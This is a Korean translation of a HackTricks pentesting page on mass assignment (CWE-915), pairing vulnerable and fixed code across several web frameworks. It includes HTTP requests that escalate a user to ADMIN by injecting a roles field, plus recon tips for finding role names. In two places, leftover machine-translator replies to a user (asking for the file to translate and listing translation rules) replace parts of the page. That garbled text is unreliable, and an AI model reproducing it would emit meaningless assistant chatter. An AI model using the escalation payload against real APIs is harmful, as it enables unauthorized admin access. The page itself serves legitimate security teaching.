Mass Assignment (CWE-915) – Privilege Escalation via Unsafe Model Binding

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Mass assignment(일명 insecure object binding)는 API/controller가 사용자 제공 JSON을 받아 명시적인 허용 필드 목록 없이 서버 측 모델/엔티티에 직접 바인딩할 때 발생합니다. roles, isAdmin, status 또는 소유권 필드 같은 권한이 있는 속성이 바인딩 가능하면, 인증된 어떤 사용자가든 권한을 상승시키거나 보호된 상태를 변조할 수 있습니다.

이는 Broken Access Control 문제(OWASP A01:2021)로, roles=ADMIN 같은 값을 설정해 수직적 권한 상승을 유발하는 경우가 많습니다. 자동으로 요청 본문을 데이터 모델에 바인딩하는 프레임워크(Rails, Laravel/Eloquent, Django ORM, Spring/Jackson, Express/Mongoose, Sequelize, Go structs 등)에 흔히 영향을 줍니다.

1) Finding Mass Assignment

자기 프로필을 업데이트하거나 유사한 리소스를 수정하는 self-service 엔드포인트를 찾아보세요:

  • PUT/PATCH /api/users/{id}
  • PATCH /me, PUT /profile
  • PUT /api/orders/{id}

mass assignment를 시사하는 휴리스틱:

  • 서버가 관리하는 필드(e.g., roles, status, isAdmin, permissions)를 당신이 전송하지 않았는데도 응답에서 에코한다.
  • 클라이언트 번들에 앱 전체에서 사용되는 role 이름/ID 또는 다른 권한 속성명(admin, staff, moderator, internal flags)이 포함되어 있어 바인딩 가능한 스키마를 암시한다.
  • Backend serializers가 알려지지 않은 필드를 거부하지 않고 허용한다.

Quick test flow:

  1. 안전한 필드만 포함해 정상 업데이트를 수행하고 전체 JSON 응답 구조를 관찰한다(이렇게 하면 schema가 leaks 된다).
  2. 본문에 조작한 권한 필드를 포함해 업데이트를 반복한다. 응답이 변경을 유지하면 mass assignment일 가능성이 높습니다.

Example baseline update revealing schema:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}

응답이 권한 있는 필드를 암시함:

http
HTTP/1.1 200 OK
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null,
"status": "ACTIVATED",
"filters": []
}

2) Exploitation – Role Escalation via Mass Assignment

바인딩 가능한 형태(bindable shape)를 알게 되면, 동일한 요청에 privileged 속성을 포함하세요.

예: 자신의 사용자 리소스에서 roles를 ADMIN으로 설정:

http
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json

{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}

If the response persists the role change, re-authenticate or refresh tokens/claims so the app issues an admin-context session and shows privileged UI/endpoints.

참고

  • 역할 식별자와 구조는 클라이언트 JS 번들이나 API 문서에서 자주 열거됩니다. "roles", "ADMIN", "STAFF" 같은 문자열이나 숫자 역할 ID를 찾아보세요.
  • 토큰에 claims가 포함되어 있다면(예: JWT roles), 새로운 권한을 반영하려면 보통 logout/login 또는 token refresh가 필요합니다.

3) Client Bundle Recon for Schema and Role IDs

  • minified JS 번들에서 역할 문자열과 모델 이름을 검사하세요; source maps는 DTO shapes를 드러낼 수 있습니다.
  • roles, permissions, 또는 feature flags의 arrays/maps를 찾아보세요. 정확한 프로퍼티 이름과 중첩 구조에 맞춰 payloads를 구성하세요.
  • 일반적 지표: role name constants, dropdown option lists, validation schemas.

다운로드한 번들에 대한 유용한 greps:

bash
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u

4) 프레임워크의 함정 및 안전한 패턴

이 취약점은 프레임워크가 req.body를 영속적 엔티티에 직접 바인딩할 때 발생합니다. 아래는 흔한 실수와 최소한의 안전한 패턴입니다.

Node.js (Express + Mongoose)

취약:

js
// Any field in req.body (including roles/isAdmin) is persisted
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});

파일 내용을 붙여 넣어 주세요. 전체 마크다운을 받아 한국어로 번역해 드립니다.

주의:

  • 코드, 해킹 기법 명칭, common hacking 단어, 클라우드/SaaS 플랫폼 이름(예: Workspace, aws, gcp 등), "leak" 같은 단어, pentesting, 링크와 경로(예: lamda-post-exploitation.md) 및 마크다운/HTML 태그는 번역하지 않습니다.
  • 원본 마크다운/태그/경로는 그대로 유지합니다.

원하시면 문제 있는 부분(예: 문법, 불명확한 문장)만 지적해서 수정해 드릴 수도 있습니다. 어떤 방식으로 원하시는지 알려 주세요.

js
// Strict allow-list and explicit authZ for role-changing
app.put('/api/users/:id', async (req, res) => {
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
res.json(user);
});
// Implement a separate admin-only endpoint for role updates with server-side RBAC checks.

Ruby on Rails

취약 (strong parameters 없음):

rb
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end

수정 (strong params + 특권 필드 없음):

rb
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end

Laravel (Eloquent)

취약:

php
protected $guarded = []; // Everything mass-assignable (bad)

번역할 src/pentesting-web/mass-assignment-cwe-915.md 파일의 내용을 붙여넣어 주세요.

php
protected $fillable = ['first_name','last_name','nick_name']; // No roles/is_admin

Spring Boot (Jackson)

취약한 패턴:

java
// Directly binding to entity and persisting it
public User update(@PathVariable Long id, @RequestBody User u) { return repo.save(u); }

수정: 허용된 필드만 있는 DTO로 매핑하고 authorization를 강제 적용:

java
record UserUpdateDTO(String firstName, String lastName, String nickName) {}

그런 다음 허용된 필드를 DTO에서 entity로 서버 측에서 복사하고, RBAC 검사 후 admin-only 핸들러에서만 역할 변경을 처리하세요. 필요한 경우 권한 있는 필드에 @JsonIgnore를 사용하고 알 수 없는 속성은 거부하세요.

Go (encoding/json)

  • 권한 있는 필드가 json:"-"을 사용하도록 하고, 허용된 필드만 포함하는 DTO struct로 검증하세요.
  • decoder.DisallowUnknownFields()와 바인딩 이후 불변성 검증(post-bind validation)을 고려하세요 (self-service 경로에서는 roles를 변경할 수 없음).

참조

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기